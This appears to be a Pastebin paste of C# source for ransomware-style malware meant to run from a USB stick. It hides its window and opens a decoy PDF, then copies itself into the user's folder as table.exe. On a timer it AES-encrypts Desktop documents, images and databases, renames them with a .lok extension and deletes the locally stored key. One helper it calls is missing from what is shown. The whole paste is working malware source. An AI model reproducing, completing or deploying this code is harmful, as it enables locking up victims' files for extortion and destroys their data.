Advertisement
Guest User

hid

a guest
Apr 3rd, 2016
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.64 KB | None | 0 0
  1. /*
  2.  
  3. */
  4. using System;
  5. using System.Diagnostics;
  6. using System.Collections.Generic;
  7. using System.ComponentModel;
  8. using System.Data;
  9. using System.Drawing;
  10. using System.Linq;
  11. using System.Text;
  12. using System.Threading.Tasks;
  13. using System.Windows.Forms;
  14. using System.Security;
  15. using System.Security.Cryptography;
  16. using System.IO;
  17. using System.Net;
  18. using Microsoft.Win32;
  19. using System.Runtime.InteropServices;
  20. using System.Text.RegularExpressions;
  21.  
  22. namespace hidden
  23. {
  24. public partial class Form1 : Form
  25. {
  26. //current user of windows
  27. string userName = Environment.UserName;
  28. //name of the computer
  29. string computerName = System.Environment.MachineName.ToString();
  30. string userDir = "C:\\Users\\";
  31. //it writes encryption key to this file in usb stick
  32. string usbPassword = "a.txt";
  33. //it writes encryption key to this file in pc
  34. string pcPassword = "\\win.txt";
  35.  
  36. public Form1()
  37. {
  38. InitializeComponent();
  39. }
  40.  
  41. private void Form1_Load(object sender, EventArgs e)
  42. {
  43. Opacity = 0;
  44. this.ShowInTaskbar = false;
  45. //it saves the password to this path
  46. string pcPasswordPath = userDir + userName + pcPassword;
  47. //it copies itself to this path
  48. string exePath = userDir + userName + "\\table.exe";
  49. //if the program runs for the first time (inside the usb stick)
  50. if (File.Exists(pcPasswordPath) == false)
  51. {
  52. //launches an innocent pdf file
  53. System.Diagnostics.Process.Start("ticket.pdf");
  54. string password = CreatePassword(15);
  55. SavePassword(password);
  56. //copies itself and executes
  57. File.Copy(Application.ExecutablePath, exePath);
  58. Process.Start(exePath);
  59. System.Windows.Forms.Application.Exit();
  60.  
  61. }
  62. //if the program runs for the second time (inside the pc)
  63. else
  64. {
  65. //program will wait for amount of time to encrypt the files
  66. timer1.Enabled = true;
  67.  
  68. }
  69.  
  70. }
  71.  
  72. private void Form_Shown(object sender, EventArgs e)
  73. {
  74. Visible = false;
  75. Opacity = 100;
  76. }
  77.  
  78. //AES encryption algorithm
  79. public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
  80. {
  81. byte[] encryptedBytes = null;
  82. byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  83. using (MemoryStream ms = new MemoryStream())
  84. {
  85. using (RijndaelManaged AES = new RijndaelManaged())
  86. {
  87. AES.KeySize = 256;
  88. AES.BlockSize = 128;
  89.  
  90. var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  91. AES.Key = key.GetBytes(AES.KeySize / 8);
  92. AES.IV = key.GetBytes(AES.BlockSize / 8);
  93.  
  94. AES.Mode = CipherMode.CBC;
  95.  
  96. using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
  97. {
  98. cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  99. cs.Close();
  100. }
  101. encryptedBytes = ms.ToArray();
  102. }
  103. }
  104.  
  105. return encryptedBytes;
  106. }
  107.  
  108. //creates random password for encryption
  109. public string CreatePassword(int length)
  110. {
  111. const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  112. StringBuilder res = new StringBuilder();
  113. Random rnd = new Random();
  114. while (0 < length--)
  115. {
  116. res.Append(valid[rnd.Next(valid.Length)]);
  117. }
  118. return res.ToString();
  119. }
  120.  
  121. //saves the encryption password to usb stick and to pc
  122. public void SavePassword(string password)
  123. {
  124.  
  125. string info = computerName + "-" + userName + " " + password;
  126. string pcPath = userDir + userName + pcPassword;
  127. System.IO.File.WriteAllText(usbPassword, info);
  128. System.IO.File.WriteAllText(pcPath, password);
  129.  
  130. }
  131.  
  132. //Encrypts single file
  133. public void EncryptFile(string file, string password)
  134. {
  135.  
  136. byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  137. byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  138.  
  139. // Hash the password with SHA256
  140. passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  141.  
  142. byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  143.  
  144. File.WriteAllBytes(file, bytesEncrypted);
  145. System.IO.File.Move(file, file + ".lok");
  146.  
  147.  
  148. }
  149.  
  150. //encrypts target directory
  151. public void encryptDirectory(string location, string password)
  152. {
  153.  
  154. //extensions to be encrypt
  155. var validExtensions = new[]
  156. {
  157. ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
  158. };
  159.  
  160. string[] files = Directory.GetFiles(location);
  161. string[] childDirectories = Directory.GetDirectories(location);
  162. for (int i = 0; i < files.Length; i++)
  163. {
  164. string extension = Path.GetExtension(files[i]);
  165. if (validExtensions.Contains(extension))
  166. {
  167. EncryptFile(files[i], password);
  168. }
  169. }
  170. for (int i = 0; i < childDirectories.Length; i++)
  171. {
  172. encryptDirectory(childDirectories[i], password);
  173. }
  174.  
  175.  
  176. }
  177.  
  178.  
  179.  
  180.  
  181. //starts encryption action
  182. public void startAction()
  183. {
  184. string passwordPath = userDir + userName + pcPassword;
  185. string password = File.ReadAllText(passwordPath);
  186. string path = "\\Desktop";
  187. string startPath = userDir + userName + path;
  188. encryptDirectory(startPath, password);
  189. messageCreator();
  190. password = null;
  191. File.WriteAllText(passwordPath, String.Empty);
  192. File.Delete(passwordPath);
  193. System.Windows.Forms.Application.Exit();
  194. }
  195.  
  196. private void timer1_Tick(object sender, EventArgs e)
  197. {
  198. startAction();
  199. }
  200. }
  201. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement